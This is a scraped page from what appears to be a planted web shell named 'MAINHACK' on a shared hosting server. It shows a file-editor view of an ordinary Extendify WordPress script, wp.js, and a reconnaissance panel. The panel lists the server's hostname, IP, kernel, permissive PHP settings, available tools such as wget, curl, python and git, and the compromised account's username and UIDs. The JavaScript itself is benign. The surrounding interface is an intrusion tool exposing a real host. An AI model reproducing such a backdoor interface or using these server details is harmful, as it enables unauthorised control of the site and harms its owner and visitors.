[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wp.js
import { rawHandler, serialize } from '@wordpress/blocks'; import { pageNames } from '@shared/lib/pages'; import { generateCustomPatterns } from '@launch/api/DataApi'; import { updateOption, createPage, updateThemeVariation, processPlaceholders, } from '@launch/api/WPApi'; import { removeBlocks, addIdAttributeToBlock } from '@launch/lib/blocks'; // Currently this only processes patterns with placeholders // by swapping out the placeholders with the actual code // returns the patterns as blocks with the placeholders replaced export const replacePlaceholderPatterns = async (patterns) => { const hasPlaceholders = patterns.filter((p) => p.patternReplacementCode); if (!hasPlaceholders?.length) return patterns; try { return await processPlaceholders(patterns); } catch (e) { // Try one more time (plugins installed may not be fully loaded) return await processPlaceholders(patterns) // If this fails, just return the original patterns .catch(() => patterns); } }; export const createWpPages = async (pages, { stickyNav }) => { const pageIds = []; for (const page of pages) { const HTML = page.patterns.map(({ code }) => code).join(''); const blocks = removeBlocks(rawHandler({ HTML }), ['core/html']); const content = []; // Use this to avoid adding duplicate Ids to patterns const seenPatternTypes = new Set(); // Loop over every for (const [i, pattern] of blocks.entries()) { const patternType = page.patterns[i].patternTypes?.[0]; const serializedBlock = serialize(pattern); // Get the translated slug const { slug } = Object.values(pageNames).find(({ alias }) => alias.includes(patternType), ) || {}; // If we've already seen this slug, or no slug found, return the pattern unchanged if (seenPatternTypes.has(slug) || !slug) { content.push(serializedBlock); continue; } // Add the slug to the seen list so we don't add it again seenPatternTypes.add(slug); content.push(addIdAttributeToBlock(serializedBlock, slug)); } let pageData = { title: page.name, status: 'publish', content: content.join(''), template: stickyNav ? 'no-title-sticky-header' : 'no-title', meta: { made_with_extendify_launch: true }, }; let newPage; try { newPage = await createPage(pageData); } catch (e) { // The above could fail is they are on extendable < 2.0.12 // TODO: can remove in a month or so pageData.template = 'no-title'; newPage = await createPage(pageData); } pageIds.push({ ...newPage, originalSlug: page.slug }); } // When we have home, set reading setting const maybeHome = pageIds.find(({ originalSlug }) => originalSlug === 'home'); if (maybeHome) { await updateOption('show_on_front', 'page'); await updateOption('page_on_front', maybeHome.id); } // When we have blog, set reading setting const maybeBlog = pageIds.find(({ originalSlug }) => originalSlug === 'blog'); if (maybeBlog) { await updateOption('page_for_posts', maybeBlog.id); } return pageIds; }; export const generateCustomPageContent = async (pages, userState) => { // Either didn't see the ai copy page or skipped it if (!userState.businessInformation.description) { return pages; } const { siteId, partnerId, wpLanguage, wpVersion } = window.extSharedData; const result = await Promise.allSettled( pages.map((page) => generateCustomPatterns(page, { ...userState, siteId, partnerId, siteVersion: wpVersion, language: wpLanguage, }) .then((response) => response) .catch(() => page), ), ); return result?.map((page, i) => page.value || pages[i]); }; export const updateGlobalStyleVariant = (variation) => updateThemeVariation(window.extSharedData.globalStylesPostID, variation);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624